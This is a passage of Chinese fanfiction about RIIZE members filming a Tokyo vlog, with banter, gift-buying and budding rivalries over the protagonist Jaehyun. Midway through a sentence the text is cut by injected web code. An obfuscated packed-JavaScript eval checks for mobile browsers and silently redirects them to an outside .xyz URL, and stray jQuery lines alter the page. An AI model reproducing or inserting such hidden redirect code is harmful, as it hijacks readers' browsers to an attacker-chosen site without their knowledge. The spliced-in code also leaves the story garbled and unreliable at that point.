人类之所以容易败北，正是因为会对自己感到绝望并放弃。但我绝不会绝望，也绝不会放弃。


    崔允书指着手机向李灿荣展示屏保：“一位前辈说的，这是我的人生信条。”


    这是在做什么？李灿荣笑得停不下来。“在贤哥为什么突然这样？”


    “干嘛，不怎么样吗？”


    “我觉得很酷。”鸭子灯事件后就再没主动和她讲过话的宋银硕的声音从斜后方传来。


    崔允书扭头瞥了他一眼，不知为何从对方面无表情的脸上捕捉到了一丝紧张。


    “谢谢。”她说。


    其实是为了提醒自己不管队里的谁又做了错饭还是要坚强地完成自己的烹饪。想说些什么又咽了回去，崔允书撑着下巴觉得没意思，无视李灿荣幽怨的眼神，她把中间的挡板升起，打开了手机。


    公司发出洪胜汉将无限期暂停活动的正式通告后，崔允书终于能够光明正大地把郑成灿早就还给她的手机拿出来。首先艾特洪胜汉，礼貌地恭喜他毕业快乐之后便把人踢出群组，然后打开weverse安抚粉丝的情绪。


    发什么呢？翻了一下社区，几乎都是在热烈庆祝烂人离开组合。崔允书心情愉悦地报备了一下行程便准备合上手机，却突然看见了几条混杂在其中的问胜汉呢，胜汉在干嘛的帖子。


    她怎么知道？考大学去了，全球网络大学。喂！真的没有义务告知。你们还没和他分手啊？


    好像有些微醺了，手怎么总是不受控制地想发些什么。


    “不要再发些敏感的东西。”李周元经纪人在上飞机前对她千叮咛万嘱咐，“一丁点都不行，在事情完全过去之前。”


    经纪人不让你发，你发不发？赶紧说。你死都得发。那被逮着了，又抓收手机怎么办？不可能再收手机了。他连严重警告都不是，只是警告你崔在贤真的不能再发了。因为你这不是严重犯错，孩子他有等级的。


    把菠萝头的话抛之脑后，只一味地分享歌曲。这次是田柾国的seven，被潮水般的wvs消息通知刷屏的时候，kakao提示音也一同响起。


    猪-！周元哥刚刚问我在贤尼是不是正在叛逆期


    猪-我说不是的，在贤尼只是脾气有点坏、报复心有点强而已


    一直在挑衅我。


    崔允书气笑，快速回复，“怎么办，你们对我的恶意解读构不成万分之一的我。”


    “不要装作很了解我的样子。”


    隔板又放下，她推搡了下李灿荣的肩膀，被他得意地抱住手臂。


    “我才没有装，是真的了解在贤哥。”


    “那我是team Conrad还是team Jeremiah？”


    “team Jeremiah？”


    呵呵。崔允书冷笑一声，掀起眼皮看他。


    李灿荣再次被逗笑，指腹从手臂往下滑，抓住崔允书的手耍无赖：“这种tmi，在贤哥每天给我分享的话我就知道了！”


    “我彩排的时候也会想着在贤哥的，不要忘记给我买礼物呀。”


    …


    果然人生的分水岭是羊水。在年末所有人都很忙的情况下，李灿荣还有和林佳树合作的大提琴演奏，成为了组合里更忙的那个人。因为彩排的缘故，他缺席了这次东京vlog的录制。


    于是崔允书顺理成章地坐在了朴元彬的旁边。


    “anton在做MAMA特别舞台排练，所以没有来。”她捋了捋额前的碎发，对着镜头解释：“不过我会带礼物回去的，鉴于他的强烈要求。”


    “加油anton。”崔允书象征性地挥挥拳头，做出那套经典动作。“野猪力量，注入！”


    车内陷入了安静。


    好吧，没人懂她。崔允书尴尬地抿了抿唇，“我在模仿电视剧的主角。”


    “我还以为你在卖萌呢。”郑成灿露出了很喜欢的笑容。


    你想太多。崔允书假笑一下，侧头答应李炤熙回去就把那套动作传授给他。


    满车的欢声笑语中，朴元彬一个人暗自神伤。


    你和李灿荣的关系什么时候变得这么好了？他垂下脑袋，不明白心中的酸涩感从何而来。可怜的姿态能分得崔在贤的一点关心，那李灿荣呢，又是凭什么得到偏爱？


    他轻轻拽了拽崔允书连帽卫衣上的带子，接过相机让两人都展示在画面里。“我也要。”


    “那我也要。”郑成灿说。


    “我也。”宋银硕幽幽地从后座伸出手拍了拍崔允书的肩膀。


    坐在角落的将太郎和李炤熙异口同声：“在贤啊——”/“在贤哥。”


    搞什么...团魂是用在这一块的？亲临现场了还不自己买，而且日本人在日本要纪念品的意义是什么？崔允书嘴角抽搐了一下，当着镜头的面还是心软。“好啊。”——这样答应了下来。感谢崔在贤偶妈阿爸每月定期的大额汇款吧，要不然绝不会答应的。因为没有钱，真的没有钱，不想装富人，说不出从容的话，是因为真的没有钱。


    11月的下北泽天气很凉爽。她把双手插在口袋里，慢悠悠地跟在最后面晃荡。一路上遇见了很多很潮的霓虹金，崔允书总觉得他们身上都有点将太郎的影子，环境养人啊。


    “在贤为什么一直看着我？”


    “哥的后脑勺上也长眼睛了吗？”


    “什么啊？”将太郎哭笑不得地停下脚步，和崔允书并排，“是你的视线太强烈了吧，但是我很开心哦。”


    莫名其妙。崔允书自认为小心地偷偷瞄了眼走在一旁的人，却在一瞬间和他含笑的眼神撞上。


    “我没有额...”呼吸一紧，是她视力太好还是两人距离太近，不然怎么会连将太郎的眼下痣也看得一清二楚。原来一模一样的位置你也有一颗，怪不得老有人说你像王那个安那个宇。


    “又看着我发呆了呢。”


    “这次明明是哥先看我的。”话脱口而出的那一刹那才意识到自己透露了什么不得了的信息，崔允书本来强硬的气势立刻瘪了下去。


    好烦啊，所以到底为什么执着于这个问题呢？她真心不解，于是缓慢眨着眼睛，干巴巴地为自己挽尊：“嗯对，就是看了，怎样？”


    “只是有点受宠若惊。”沉默片刻，将太郎弯着眼睛，笑眯眯地把手掌搭在崔允书的肩头。


    “在贤不是除了练习的时候，从来不会注意到我吗？”


    小心翼翼地用余光打量着身侧人表情，将太郎脑海中闪过出道前郑成灿向他抱怨崔在贤的话语——“和他变亲比融入nct还要困难。”当时他深以为然，相处久了却发现好像不是这样。只需要一点小小的示弱，像猫咪一样翻开肚皮，就会等来崔在贤的主动。比如此刻...他的心跳得有点乱，听见了崔允书困惑的疑问。


    “你是想和我卖吗？”


    哎——不是，将太郎失语般哽住，无力地点头。怎么是这样的？朴元彬突然举着相机转过来面对他们，他下意识地伸回手，被崔允书一把抓住，又慢半拍地松


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192237|179396||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开。


    不对劲，很不对劲。好像不是这个意思，可是其他的可能性更加诡异。除了李炤熙，每个人都说些奇怪的话，不可能是真情流露，所以真的是要和她捆绑cp麦麸吗？


    可是...


    可是！


    也行吧，反正早晚都要卖，将太郎还能教她舞蹈互惠互利。不是xtx，不是装逼王，不是让她心情复杂的男孩下个门，只是大美崆峒男团riize，再怎么卖也安全无公害的一款，崔允书欣然接受了。不过我不会让这群人得逞的，占有欲大爆发，她不仅要偷师学艺还要把cp粉悄悄提纯占为己有。


    “你们走得好慢。”朴元彬终于开口打断两人静谧的氛围，不太高兴的样子。“在贤呀巴里巴里，我们要进去了。”


    最后捶下将太郎的肩膀说了声可以以示合作达成，崔允书快步跟上朴元彬走进了店里。


    是下北泽随处可见的中古店。崔允书对店里的服饰不感兴趣，尤其是在知道郑成灿随便看上的一件针织衫竟然价值120万韩元后。临出门的时候，她给其他人挑好了礼物——一堆玩偶挂件，和一个小夜灯。


    朴元彬抱怨似地把小夜灯抱在手上，语气雀跃：“为什么给我买这个啊，和大家的都不一样。”


    不是给你的，米啊内。崔允书抬头准备解释，却蓦地和宋银硕对上眼神。


    想起来之前看过的面相分析视频。头一次发现这位朋友眼泛水光的程度严重得有点离谱了啊，肝不好？不确定，再看看。


    四目相对，宋银硕的视线率先从崔允书身上移开。“是给我的吗？”


    “你不是有一个？”郑成灿拆台，在看见崔允书点头后挤眉弄眼地闭上嘴巴。


    “原来那个扔掉了。”宋银硕从朴元彬手里接过小夜灯，没忘记调笑他一句，“朴元彬又在自作多情。”


    …


    从柴犬狗咖出来后，朴元彬依然闷闷不乐，尽管他觉得自己掩饰得很好。


    “你是因为礼物的事不开心吗，元彬哥？”


    不是的。朴元彬张了张嘴，不知道该怎么解释他的心情，尤其是在还在举着自拍杆拍摄的情况下。


    李灿荣、将太郎…为什么你身边聚集了这么多人，他还觉得自己是特别的那一个。某人说的没错，又自作多情了，崔在贤的顺位第一名怎么会是自己…但也不能是宋银硕吧？


    “你是知道银硕哥把小夜灯扔了才送他那个的对吧？”


    “差不多…”崔允书心虚地敷衍过去。鬼知道鸭子灯还在否，看到就顺手拿了，根本没想那么多，只是缺德心理又犯，好奇宋银硕收到礼物的表情而已。


    结果平淡得令她失望。


    “哦。”所以不是特殊关照，朴元彬很容易就得到了满足。“我没有不开心。”


    “逗小狗玩的时候，哥不是发呆了么，还咬手指，明明一直都很期待的。”


    “我知道那是哥不开心的表现。”


    不能独处、容易感到孤独，脆弱敏感是他的天赋。对李灿荣的感情更像是外星人来到地球上发现了第一颗蛋，但其实率先熟悉起来的是朴元彬。会给自己擦掉眼泪、说自己做得很好、情绪不如郑成灿外露但也很好懂、某些时刻让人觉得和自己很相似可以相互理解的人。崔允书戳了戳时不时和自己的手碰到一起的他的手背，“我喜欢看元彬哥幸福的样子。”


    宋银硕你听见了吗。朴元彬看着走在前面的不断被郑成灿和李炤熙拍亮手中的小夜灯的人，觉得自己现在就很幸福。